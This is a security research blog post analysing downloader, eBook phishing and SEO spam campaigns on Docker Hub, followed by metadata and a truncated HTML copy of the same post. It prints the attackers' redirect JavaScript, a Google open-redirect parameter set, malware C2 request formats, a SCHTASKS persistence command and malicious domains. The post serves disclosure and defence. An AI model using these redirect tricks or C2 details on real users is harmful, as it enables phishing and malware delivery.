JFrog research discovers coordinated attacks on Docker Hub that planted millions

https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/

Attack on Docker Hub

As key parts of the software ecosystem, and as partners, JFrog and Docker are working together to strengthen the software ecosystem. Part of this effort by JFrog’s security research team involves continuous monitoring of open-source software registries in order to proactively identify and address potential malware and vulnerability threats.

In former publications, we have discussed some of the malware packages we found on the NPM, PyPI and NuGet registries by continuously scanning all major public repositories. In this blog post, we reveal three large-scale malware campaigns we’ve recently discovered, targeting Docker Hub, that planted millions of  “imageless” repositories with malicious metadata. These are repositories that do not contain container images (and as such cannot be run in a Docker engine or Kubernetes cluster) but instead contain metadata that is malicious.

Docker Hub is a platform that delivers many functionalities to developers, presenting numerous opportunities for development, collaboration, and distribution of Docker images. Currently, it is the number one container platform of choice for developers worldwide. It hosts over 15 million repositories.

Yet, a significant concern arises when considering the content of these public repositories. Our research reveals that nearly 20% of these public repositories (almost three million repositories!) actually hosted malicious content. The content ranged from simple spam that promotes pirated content, to extremely malicious entities such as malware and phishing sites, uploaded by automatically generated accounts.

While the Docker Hub maintainers currently moderate many of the uploaded repositories, and the repositories we found have been taken down after our disclosure, these attacks show that blocking 100% of malicious uploads is immensely challenging.

What enabled this attack?

Docker Hub is Docker’s cloud-based registry service that hosts and distributes images. Its core concept is a repository, which includes text descriptions and metadata on top of the container data.

Docker Hub’s libraryDocker Hub’s repository library (click to expand)

While the core feature of a Docker repository is to hold a collection of Docker images (an application that can be updated and accessible through a fixed name), Docker Hub introduces several key enhancements. The most significant of them is community features.

For public repositories, Docker Hub acts as a community platform. It allows users to search and discover images that might be useful for their projects. Users can also rate and comment on repositories, helping others gauge the reliability and utility of available images.

To help users search and use images, Docker Hub allows repository maintainers to add short descriptions and documentation in HTML format, which will be displayed on the repository’s main page. Usually, repository documentation aims to explain the purpose of the image and provide guidelines for its usage.

Example of a Legitimate Repository’s DocumentationExample of a Legitimate Repository’s Documentation

But as Murphy’s law for security says, if something can be exploited by malware developers, it inevitably will be.

JFrog’s security research team discovered that ~4.6 million of the repositories in Docker Hub are imageless and have no content except for the repository’s documentation. A deeper inspection revealed that the vast majority of these imageless repositories were uploaded with a malicious endgame – their overview page tries to deceive users into visiting phishing websites or websites that host dangerous malware.

Before discussing the various malicious payloads, we will explain our methodology for finding these malicious repositories.

Identifying the malicious repositories

We started our research by identifying anomalies in the publication patterns of Docker Hub repositories. To achieve this, we pulled all “imageless” Docker Hub repositories published in the past five years, grouped them by creation date, and plotted them on a graph:

Graph of Monthly Created Repositories

As we can see, the usual activity on Docker Hub is quite linear, but we can see a few spikes in 2021 and 2023. If we zoom in, we see that the daily activity is well-defined and follows a working week pattern. Even visually, we can notice a working week pattern: more repositories are created on work days and fewer on weekends.

Zooming in on the 2023 anomaly

The graph shows that when the unusual activity starts, the number of daily-created repositories multiplies tenfold.

We thoroughly analyzed the repositories created on days with anomalies and found many repositories deviated from the norm. The main deviation is that they didn’t contain container images, just a documentation page, making the repository unusable, as it can’t be pulled and run as a normal docker image.

Example of a Malicious RepositoryExample of a Malicious Repository

For instance, the repository shown in the screenshot above contains a few links in the description directing users to a phishing website: https[://]www[.******medz*****.]com. This site deceives unsuspecting visitors by promising to purchase prescription-only medications but then stealing their credit card details.

While all anomalous repositories were somewhat different from each other and were published by various users, most followed the same patterns. That allowed us to create a signature and group them by families (or campaigns). Once we applied this signature to all imageless repositories, we gathered a list of the hub users publishing them. We classified all repositories published by these users as malware as well.

After we plotted the campaigns on the timeline, we got an understanding of the periods when the largest malware campaigns operated.

Two were most active in the first half of 2021, publishing thousands of repositories daily. The downloader campaign made one more attempt in August 2023. The “Website SEO” campaign operated differently, consistently pushing a small number of repositories daily over three years.

Malware Repositories Registered Per Day by Campaign

At the time of DockerCon 2023, Docker Hub contained 15 million repositories, so we will use this number as reference for the total Docker Hub repository count.

The total number of imageless repositories published to Docker Hub is 4.6M – 30% of all public repositories. We were able to link 2.81M (~19%) of these repositories to these large malicious campaigns.

In addition to the large campaigns we identified, our analysis also revealed the presence of smaller sets of repositories. These campaigns seemed mostly focused on spam / SEO, however we could not classify all of the variants of these campaigns. These smaller “campaigns” contained less than 1000 packages each. For our categorization, we allocated these smaller sets to a group labeled “Other suspicious” –

DockerHub repositories classification

Distribution of malicious repositories by campaigns:

Campaign # of Repositories (% of all DH Repositories) # of Users
Website SEO 215451 (1.4%) 194699
Downloader 1453228 (9.7%) 9309
eBook Phishing 1069160 (7.1%) 1042
Other suspicious imageless 76025 (0.5%) 3689
Total 2.81M (18.7%) 208739

We can see different approaches in the distribution of the malicious repositories. While the “Downloader” and “eBook Phishing” campaigns create fake repositories in batches over a short time period, the “Website SEO” campaign creates a few repositories daily over the whole time frame and uses a single user per repository.

Now that we know which main malware campaigns were running on Docker Hub, let’s review their tactics and techniques in depth.

  1. “Downloader” Campaign
  2. “eBook Phishing” Campaign
  3. “Website SEO” Campaign

Analysis of the Docker Hub malware campaigns

1. “Downloader” Campaign

Distribution of the Downloader Campaign’s Repositories

Repositories belonging to this campaign contain automatically generated texts with SEO text proposing to download pirated content or cheats for video games. Additionally, the text includes a link to the alleged advertised software.

This campaign operated in two distinct rounds (circa 2021 and 2023), while both rounds used exactly the same malicious payload (see analysis further down).

Truck Simulator APK Para

Example of a malicious repository with a malware download link

The 2021 round – Malicious domains pretending to be URL shorteners

Most URLs used in the campaign pretend to use known URL shorteners (ex. tinyurl.com), similar to an attack campaign on Google Ads found in 2021 as well. After we tried to resolve them, we discovered that, unlike the real shorteners, these malicious shorteners don’t actually encode the URL. Instead, they encode a file name and resolve a link to a different domain each time a malicious resource is shut down.

For instance, during our investigation, the URL blltly[.]com/1w1w1 redirected to https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w. However, subsequent requests to the server triggered the generation of a new URL path each time.

Their sole purpose is to serve as a proxy for a malicious CDN.

Every subsequent request to the same shortened link brings a different URL, and if the server that’s hosting malicious files is shut down, the shortener will return a link to a new, active one. 

We gathered a list of all malicious domains and compiled a table showing the correspondence between the fraudulent shorteners and their real, trustworthy versions.

Malware shortener Impersonated legitimate shortener
blltly[.]com
bltlly[.]com
byltly[.]com
bytlly[.]com
https://bitly.com/
tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com
https://tinyurl.com
urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com
https://urlgo.in/
imgfil[.]com https://imgflip.com/
cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tweeat[.]com
vittuv[.]com

Fake URL Shorteners Used by the Malware Campaign

This strategy, developed in 2021, worked for some time until AV companies found a list of the links and added them to their blacklists. Currently, browsers and providers raise alerts when an attempt is made to access one of the links from the table above.

The 2023 round – Enhanced anti-detection techniques

The second round of the campaign, which occurred in 2023, focused on avoiding detection. The malicious repositories no longer use direct links to malicious sources. Instead, they point to legitimate resources as redirects to malicious sources.

Among these resources is a page hosted on blogger.com that contains JavaScript code that redirects to the malicious payload after 500 milliseconds:

<script type='text/javascript'>
  var c = new URL(window.location).searchParams.get('el');
  if(c!=null){
    setTimeout('write()', 500);
    setTimeout('Redirect()', 0);
  }else{
  	window.setTimeout(function(){
     document.getElementById('redir').href='https://gohhs.com/';
   }, 500);
  }
  function write()
  {
   document.getElementById('redir').href='https://gohhs.com/'+c;
 }
 function Redirect()
 {
   window.location.replace('https://gohhs.com/'+c);
 }
</script>

Another approach is a well-known open redirect bug in Google, which allows malicious actors to redirect users to a malicious site with a legitimate Google link using specific parameters.

Normally, the Google link https://www[.]google[.]com/url?q=https%3A%2F%2Fexample.us%2F doesn’t redirect a user to the target site. Instead, it shows a notice warning that they are being redirected to another domain.

Redirect NoticeExample of a Redirection Notice

However, it’s possible to add the undocumented parameter usg to disable this warning. The parameter contains a hash or signature that causes google.com to redirect to the target site automatically –

PROTOCOL: https
HOST: www.google.com
PATH: /url
PARAMS:
q = https://urlin.us/2vwNSW
sa = D
sntz = 1
usg = AOvVaw1A6cBKittNvLawLc7IB9M0

This redirect leads to the target site. At the time of writing, the target sites were gts794[.]com and failhostingpolp[.]ru. These sites lure the victim to download an advertised software. However, regardless of the name on the landing page, the downloaded file is always the same archive with an EXE installer. As we can see in the AnyRun analysis, the malware installs a binary called freehtmlvalidator.exe into the directory “%LOCALAPPDATA%\HTML Free Validator”

Malicious Payload Served in the Downloader CampaignMalicious Payload Served in the Downloader Campaign

Analysis of the “Downloader” campaign payload

The payload of the “Downloader” campaign is a malicious executable that most antivirus engines detect as a generic Trojan.

Security Vendor AnalysisDetection of the Served Payload by Antiviruses

The malware is written with the successor to the once-popular Delphi environment: Embarcadero RAD Studio 27.0.

The malware communicates with the C2C server http://soneservice[.]shop/new/net_api using HTTP POST requests. The request is a JSON message XORed with the three-byte key “787” and encoded in hex.

{
    "5E4B1B4F": "4D571F435C025E5B0A465B114B4602455C0F4B460A",
    "465B0F": "664eed76ed570dbb4cba2bdcb3479b5f",
    "4E531F4B": "en"
}

The fields of the JSON are encoded in the same manner but using a different key: “*2k”. Knowing this, we can decode the request to

{
    "type": "getinitializationdata",
    "lid": "664eed76ed570dbb4cba2bdcb3479b5f",
    "data": "en"
}

The first command sent by the malware to the server is getinitializationdata. It contains two parameters: the malware’s unique identifier (“lid”) and the system locale identifier. The latter informs the server about the language setting of the infected system, enabling customized responses. The malware uses this unique identifier for all subsequent server requests.

In response, the server provides layout and localization details specific to Delphi, which are adapted based on the system’s language setting.

Afterwards, the malware sends an initialization request passing information about the infected system. The information includes OS-specific information, hardware, installed browser, version of the .NET framework, running processes, and available network adapters. The server, in return, provides a link to the alleged promised software and a list of offers. The promised software part is represented by URL and file name:

    "file": {
        "download_url": "http:\/\/totrakto.com\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "name": "CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "size": 64918480
    },

Malware’s Communication with the C2 Server

The “offers” section of the response contains a list of the links to executables, too. Additionally, it outlines various conditions that must be met to drop executables. The most significant conditions are:

  • excludeGeoTargeting contains codes of countries where the malware shouldn’t be installed
    "excludeGeoTargeting": [
        "RU",
        "AZ",
        "AM",
        "BY",
    ]
  • blackAvList contains a list of antivirus applications that will also prevent the malware from being installed
    "blackAvList": [
        "avast",
        "avg",
        "avira",
        "nod32",
        "mcafeeep",
        "windef",
    ]
  • A process blacklist (wasn’t observed in payload sample)
  • A list of Windows registry entries that must be present on the target system (wasn’t observed in payload sample)

Considering that the malware already sends information about the system to the server, we find these conditions on the client a bit redundant. Also, the response contains fields that were never used by the malware binary but are typical for advertisement networks, such as price, offer_id, and advertiser_id. From these fields we can assume that this malware operation is part of a broader ecosystem, potentially involving adware or monetization schemes that benefit from the distribution and installation of third-party software. Building on this understanding, we further assume that these request parameters are likely copied and embedded into the software from a dubious advertising network API, where third parties may pay for the distribution of their executables.

"advertiser_id": 7,
"groupOffer_id": 43,
"price": 0.064,
"price_usd": 0.064,
"tarif": 0.08,
"use_balance": "0",

After processing the response, the malware shows an installation dialog that proposes to the user to download and install the software promised in the malicious Docker Hub repository –

Download AssistantInstallation Dialog Shown by Malware

After accepting, in addition to installing the promised software, the malware just downloads all the malicious binaries from offer and schedules their persistent execution with the command “SCHTASKS.exe /Create /TN <random_name> /RL HIGHEST /SC DAILY”.

2. “eBook Phishing” Campaign

Malware repositories registered per day by ebook_phishing campaign

Nearly a million repositories created in the middle of 2021 turned Docker Hub into a “pirated eBook library”. These spam repositories all offered free eBook downloads containing randomly generated descriptions and download URLs –

img. example of the phishing ebook repositoryExample of an eBook phishing repository

All links eventually redirect the user to the same page: http://rd[.]lesac[.]ru/.

ebook downloading landing pageeBook download landing page

After promising a free full version of the eBook, the website chooses a random page from the set available for the user’s IP and redirects them there. The following steps depend on the user’s country, but usually, it’s a form asking the user to enter credit card information.

Undoubtedly, the sole intent behind this action is phishing, aiming to steal credit card details and unknowingly enroll the user in a subscription service. The footer on these target sites usually has barely-readable text, saying the subscription charges 40-60€ per month.

Some phishing sites from the campaignSome phishing sites from the campaign

Some phishing sites from the campaign (click to expand)

3. “Website SEO” Campaign

Unlike the previous two campaigns, which were blatantly malicious (phishing / malware download) the aim of this campaign is not so clear. While the repositories themselves were obviously not uploaded in good faith, the content is mostly harmless – just a random description string with a username generated by the pattern “axaaaaaxxx” where a is a letter and x is a digit. All repositories published by these users have the same name: website.

It is possible that the campaign was used as some sort of a stress test before enacting the truly malicious campaigns.

This campaign also has a different registration routine. As we can see from the graph, the actors behind this campaign created a thousand repositories daily across three years! This is unlike the previous campaigns, which focused on generating imageless repositories in a much shorter time. In this campaign the attackers published only one repository per created user, whereas in the previous campaigns, a single user was used to publish thousands of repositories.

Malware repositories registered per day by “Website SEO” campaign

In this campaign, the repository description usually contains a short, seemingly random, and senseless phrase without any other information.
Some of the repositories contain links to social network sites, but these seem to contain mostly garbage as well, and not malicious URLs or files –

Repositories containing links to social network sites

Repositories containing links to social network sitesExample of a Website SEO Campaign Repositories’ Description

Below are some user names from this campaign, with the relevant descriptions in the repository documentation –

User names with the relevant descriptions in the repository documentationRandom Phrases from the Website SEO Campaign’s Repositories

When we searched for these usernames, we found that this campaign also targeted other platforms that have open contribution policies –

Campaign targeting platforms that have a loose content moderation policyWebsite SEO Campaign Usernames Used in other Platforms

Disclosure to Docker Inc.

Prior to this publication, the JFrog research team disclosed all findings to the Docker security team, including 3.2M repositories that were suspected as hosting malicious or unwanted content. The Docker security team quickly removed all of the malicious and unwanted repositories from Docker Hub. We would like to thank the Docker security team for handling this disclosure quickly and professionally, and are happy to contribute to the continued safe use of the Docker ecosystem.

How Can Docker Hub Users Avoid Similar Attacks?

Users should prefer using Docker images that are marked in Docker Hub as “Trusted Content” –

Docker Hub has designated tags for trusted content that users can look for when browsing an image’s description page. The first tag is the Docker Official Image tag, otherwise known as Docker Hub’s Library, a set of curated Docker repositories. The Library consists of repositories that are maintained by trusted and well-known software development foundations, organizations and companies, such as Python, Ubuntu and Node. The second tag is the Verified Publisher tag, which is assigned to every repository that is part of the Docker Verified Publisher Program. This set contains repositories from commercial publishers, who have been verified by Docker Hub. And lastly, the Sponsored OSS tag, which is assigned to repositories of open source projects that are sponsored by Docker Hub.

When browsing a repository’s page, a badge that indicates that the repository is part of one of the aforementioned types would appear next to the repository’s name, at the top of the page –

Following these guidelines would decrease the risk of being manipulated into following a malicious link outside of Docker Hub from a repository’s description page. For example – none of the malicious repositories mentioned in this blog was marked as “Trusted Content”.

Summary

Unlike typical attacks targeting developers and organizations directly, the attackers in this case tried to leverage Docker Hub’s platform credibility, making it more difficult to identify the phishing and malware installation attempts.

Almost three million malicious repositories, some of them active for over three years highlight the attackers’ continued misuse of the Docker Hub platform and the need for constant moderation on such platforms.

IoCs

failhostingpolp[.]ru
gts794[.]com
blltly[.]com
ltlly[.]com
byltly[.]com
bytlly[.]com
cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
imgfil[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com
tweeat[.]com
urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com
vittuv[.]com
rd[.]lesac[.]ru
soneservice[.]shop

Stay up-to-date with JFrog Security Research

The security research team’s findings and research play an important role in improving the JFrog Software Supply Chain Platform’s application software security capabilities.

Follow the latest discoveries and technical updates from the JFrog Security Research team on our research website, and on X @JFrogSecurity.

{
"by": "based2",
"descendants": 4,
"id": 40216116,
"kids": [
40217083,
40218430,
40216167
],
"score": 47,
"time": 1714509898,
"title": "JFrog research discovers coordinated attacks on Docker Hub that planted millions",
"type": "story",
"url": "https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/"
}
{
"author": "adia",
"date": "2024-05-01T12:54:30.000Z",
"description": "Attackers are using Docker Hub for malicious campaigns of various types, including spreading malware, phishing and scams. Read the analysis of 3 malware campaigns.",
"image": "https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/30145852/Attack-on-Docker-Hub_1200x628.png",
"logo": "https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/10/20130314/Jlogo.png",
"publisher": "JFrog",
"title": "JFrog Security research discovers coordinated attacks on Docker Hub that planted millions of malicious repositories",
"url": "https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/"
}
{
"url": "https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/",
"title": "JFrog Security research discovers coordinated attacks on Docker Hub that planted millions of malicious repositories",
"description": "As key parts of the software ecosystem, and as partners, JFrog and Docker are working together to strengthen the software ecosystem. Part of this effort by JFrog’s security research team involves continuous...",
"links": [
"https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/",
"https://jfrog.com/?p=129276"
],
"image": "https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/30145852/Attack-on-Docker-Hub_1200x628.png",
"content": "<div>\n\t\t\t<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/30145652/Attack-on-Docker-Hub_863x300.png\" alt=\"Attack on Docker Hub\" /></p>\n<p>As key parts of the software ecosystem, and as partners, JFrog and Docker are working together to strengthen the software ecosystem. Part of this effort by JFrog’s security research team involves continuous monitoring of open-source software registries in order to proactively identify and address potential malware and vulnerability threats.</p>\n<p>In former publications, we have discussed some of the malware packages we found on the <a target=\"_blank\" href=\"https://jfrog.com/blog/npm-manifest-confusion-six-months-later/\">NPM</a>, <a target=\"_blank\" href=\"https://jfrog.com/blog/new-malware-targets-python-developers-uses-tor-for-c2-communication/\">PyPI </a>and <a target=\"_blank\" href=\"https://jfrog.com/blog/attackers-are-starting-to-target-net-developers-with-malicious-code-nuget-packages/\">NuGet</a> registries by continuously scanning all major public repositories. In this blog post, <strong>we reveal three large-scale malware campaigns we’ve recently discovered, targeting Docker Hub, that planted millions of  “imageless” repositories with malicious metadata</strong>. These are repositories that do not contain container images (and as such cannot be run in a Docker engine or Kubernetes cluster) but instead contain metadata that is malicious.</p>\n<p><a target=\"_blank\" href=\"https://hub.docker.com/\">Docker Hub</a> is a platform that delivers many functionalities to developers, presenting numerous opportunities for development, collaboration, and distribution of Docker images. Currently, it is the number one container platform of choice for developers worldwide. It hosts over 15 million repositories.</p>\n<p>Yet, a significant concern arises when considering the content of these public repositories. Our research reveals that <span>nearly 20% of these public repositories (almost three million repositories!) actually hosted malicious content</span>. The content ranged from simple spam that promotes pirated content, to extremely malicious entities such as malware and phishing sites, uploaded by automatically generated accounts.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29173734/Img1.png\" /></p>\n<p><span>While the Docker Hub maintainers currently moderate many of the uploaded repositories, and the repositories we found have been taken down after our disclosure, these attacks show that blocking 100% of malicious uploads is immensely challenging.</span></p>\n<h2>What enabled this attack?</h2>\n<p>Docker Hub is Docker’s cloud-based registry service that hosts and distributes images. Its core concept is a repository, which includes text descriptions and metadata on top of the container data.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21123804/Image1_Docker-Hubs-library.png\" alt=\"Docker Hub’s library\" /><em>Docker Hub’s repository library (click to expand)</em></p>\n<p>While the core feature of a Docker repository is to hold a collection of Docker <strong>images</strong> (an application that can be updated and accessible through a fixed name), Docker Hub introduces several key enhancements. The most significant of them is community features.</p>\n<p>For public repositories, Docker Hub acts as a community platform. It allows users to search and discover images that might be useful for their projects. Users can also rate and comment on repositories, helping others gauge the reliability and utility of available images.</p>\n<p>To help users search and use images, <strong>Docker Hub allows repository maintainers to add short descriptions and documentation in HTML format</strong>, which will be displayed on the repository’s main page. Usually, repository documentation aims to explain the purpose of the image and provide guidelines for its usage.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21123953/Image2_Example-of-a-Legitimate-Repositorys-Documentation.png\" alt=\"Example of a Legitimate Repository’s Documentation\" /><em>Example of a Legitimate Repository’s Documentation</em></p>\n<p>But as Murphy’s law for security says, if something can be exploited by malware developers, it inevitably will be.</p>\n<p>JFrog’s security research team discovered that ~4.6 million of the repositories in Docker Hub are imageless and have no content except for the repository’s documentation. A deeper inspection revealed that <strong>the vast majority of these imageless repositories were uploaded with a malicious endgame</strong> – their overview page tries to deceive users into visiting phishing websites or websites that host dangerous malware.</p>\n<p>Before discussing the various malicious payloads, we will explain our methodology for finding these malicious repositories.</p>\n<h2>Identifying the malicious repositories</h2>\n<p>We started our research by identifying anomalies in the publication patterns of Docker Hub repositories. To achieve this, we pulled all “imageless” Docker Hub repositories published in the past five years, grouped them by creation date, and plotted them on a graph:</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29173931/Img2.png\" /><em>Graph of Monthly Created Repositories</em></p>\n<p>As we can see, the usual activity on Docker Hub is quite linear, but we can see a few spikes in 2021 and 2023. If we zoom in, we see that the daily activity is well-defined and follows a working week pattern. Even visually, we can notice a working week pattern: more repositories are created on work days and fewer on weekends.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29174340/Img3.png\" /><em>Zooming in on the 2023 anomaly</em></p>\n<p>The graph shows that when the unusual activity starts, <strong>the number of daily-created repositories multiplies tenfold</strong>.</p>\n<p>We thoroughly analyzed the repositories created on days with anomalies and found many repositories deviated from the norm. The main deviation is that they didn’t contain container images, just a documentation page, making the repository unusable, as it can’t be pulled and run as a normal docker image.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21124325/Image3_Example-of-a-Malicious-Repository.png\" alt=\"Example of a Malicious Repository\" /><em>Example of a Malicious Repository</em></p>\n<p>For instance, the repository shown in the screenshot above contains a few links in the description directing users to a phishing website: https[://]www[.******medz*****.]com. This site deceives unsuspecting visitors by promising to purchase prescription-only medications but then stealing their credit card details.</p>\n<p>While all anomalous repositories were somewhat different from each other and were published by various users, most followed the same patterns. That allowed us to create a signature and group them by families (or campaigns). Once we applied this signature to all imageless repositories, we gathered a list of the hub users publishing them. We classified all repositories published by these users as malware as well.</p>\n<p>After we plotted the campaigns on the timeline, we got an understanding of the periods when the largest malware campaigns operated.</p>\n<p>Two were most active in the first half of 2021, publishing thousands of repositories daily. The downloader campaign made one more attempt in August 2023. The “Website SEO” campaign operated differently, consistently pushing a small number of repositories daily over three years.</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29174638/Img4.png\" /><em>Malware Repositories Registered Per Day by Campaign</em></p>\n<p>At the time of DockerCon 2023, <a target=\"_blank\" href=\"https://www.docker.com/blog/docker-11-year-anniversary/\">Docker Hub contained 15 million repositories</a>, so we will use this number as reference for the total Docker Hub repository count.</p>\n<p>The total number of <span>imageless</span> repositories published to Docker Hub is 4.6M – 30% of all public repositories. <strong>We were able to link 2.81M (~19%) of these repositories to these large malicious campaigns</strong>.</p>\n<p>In addition to the large campaigns we identified, our analysis also revealed the presence of smaller sets of repositories. These campaigns seemed mostly focused on spam / SEO, however we could not classify all of the variants of these campaigns. These smaller “campaigns” contained less than 1000 packages each. For our categorization, we allocated these smaller sets to a group labeled “Other suspicious” –</p>\n<p><em><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/30033900/Img5-1-1.png\" />DockerHub repositories classification</em></p>\n<p>Distribution of malicious repositories by campaigns:</p>\n<table>\n<tbody>\n<tr>\n<td><strong>Campaign</strong></td>\n<td><strong># of Repositories (% of all DH Repositories)</strong></td>\n<td><strong># of Users</strong></td>\n</tr>\n<tr>\n<td>Website SEO</td>\n<td>215451 (1.4%)</td>\n<td>194699</td>\n</tr>\n<tr>\n<td>Downloader</td>\n<td>1453228 (9.7%)</td>\n<td>9309</td>\n</tr>\n<tr>\n<td>eBook Phishing</td>\n<td>1069160 (7.1%)</td>\n<td>1042</td>\n</tr>\n<tr>\n<td>Other suspicious imageless</td>\n<td>76025 (0.5%)</td>\n<td>3689</td>\n</tr>\n<tr>\n<td><strong>Total</strong></td>\n<td><strong>2.81M (18.7%)</strong></td>\n<td><strong>208739</strong></td>\n</tr>\n</tbody>\n</table>\n<p>We can see different approaches in the distribution of the malicious repositories. While the “Downloader” and “eBook Phishing” campaigns create fake repositories in batches over a short time period, the “Website SEO” campaign creates a few repositories daily over the whole time frame and uses a single user per repository.</p>\n<p>Now that we know which main malware campaigns were running on Docker Hub, let’s review their tactics and techniques in depth.</p>\n<ol>\n<li><a target=\"_blank\" href=\"https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/#downloader-campaign\">“Downloader” Campaign</a></li>\n<li><a target=\"_blank\" href=\"https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/#ebook-phishing\">“eBook Phishing” Campaign</a></li>\n<li><a target=\"_blank\" href=\"https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/#website-seo\">“Website SEO” Campaign</a></li>\n</ol>\n<h2>Analysis of the Docker Hub malware campaigns</h2>\n<h3 id=\"downloader-campaign\">1. “Downloader” Campaign</h3>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/29174853/Img6.png\" /><em>Distribution of the Downloader Campaign’s Repositories</em></p>\n<p>Repositories belonging to this campaign contain automatically generated texts with SEO text proposing to download pirated content or cheats for video games. Additionally, the text includes a link to the alleged advertised software.</p>\n<p>This campaign operated in <strong>two distinct rounds</strong> (circa 2021 and 2023), while both rounds used exactly the same malicious payload (see analysis further down).</p>\n<p><img src=\"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/04/21125145/Image4_Truck-Simulator-APK-Para.png\" alt=\"Truck Simulator APK Para\" /></p>\n<p><i><span>Example of a malicious repository with a malware download link</span></i></p>\n<h4>The 2021 round – Malicious domains pretending to be URL shorteners</h4>\n<p>Most URLs used in the campaign pretend to use known URL shorteners (ex. tinyurl.com), similar to <a target=\"_blank\" href=\"https://asec.ahnlab.com/en/22636/\">an attack campaign on Google Ads</a> found in 2021 as well. After we tried to resolve them, we discovered that, unlike the real shorteners, these malicious shorteners don’t actually encode the URL. Instead, <strong>they encode a file name</strong> and resolve a link to a different domain each time a malicious resource is shut down.</p>\n<p>For instance, during our investigation, the URL <strong>blltly[.]com/1w1w1 </strong>redirected to<strong> https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w</strong>. However, subsequent requests to the server triggered the generation of a new URL path each time.</p>\n<p>Their sole purpose is to serve as a proxy for a malicious CDN.</p>\n<p><span>Every subsequent request to the same shortened link brings a different URL, and if the server that’s hosting malicious files is shut down, the shortener will return a link to a new, active one. </span></p>\n<p><span>We gathered </span>a list of all malicious domains and compiled a table showing the correspondence between the fraudulent shorteners and their real, trustworthy versions.</p>\n<table>\n<tbody>\n<tr>\n<td><strong>Malware shortener</strong></td>\n<td><strong>Impersonated legitimate shortener</strong></td>\n</tr>\n<tr>\n<td>blltly[.]com<br />\nbltlly[.]com<br />\nbyltly[.]com<br />\nbytlly[.]com</td>\n<td>https://bitly.com/</td>\n</tr>\n<tr>\n<td>tinourl[.]com<br />\ntinurli[.]com<br />\ntinurll[.]com<br />\ntiurll[.]com<br />\ntlniurl[.]com</td>\n<td>https://tinyurl.com</td>\n</tr>\n<tr>\n<td>urlca[.]com<br />\nurlcod[.]com<br />\nurlgoal[.]com<br />\nurllie[.]com<br />\nurllio[.]com<br />\nurloso[.]com<br />\nurluso[.]com<br />\nurluss[.]com</td>\n<td>https://urlgo.in/</td>\n</tr>\n<tr>\n<td>imgfil[.]com</td>\n<td>https://imgflip.com/</td>\n</tr>\n<tr>\n<td>cinurl[.]com<br />\nfancli[.]com<br />\ngeags[.]com<br />\ngohhs[.]com<br />\njinyurl[.]com<br />\nmiimms[.]com<br />\npicfs[.]com<br />\nshoxet[.]com<br />\nshurll[.]com<br />\nssurll[.]com<br />\ntweeat[.]com<br />\nvittuv[.]com</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p><em>Fake URL Shorteners Used by the 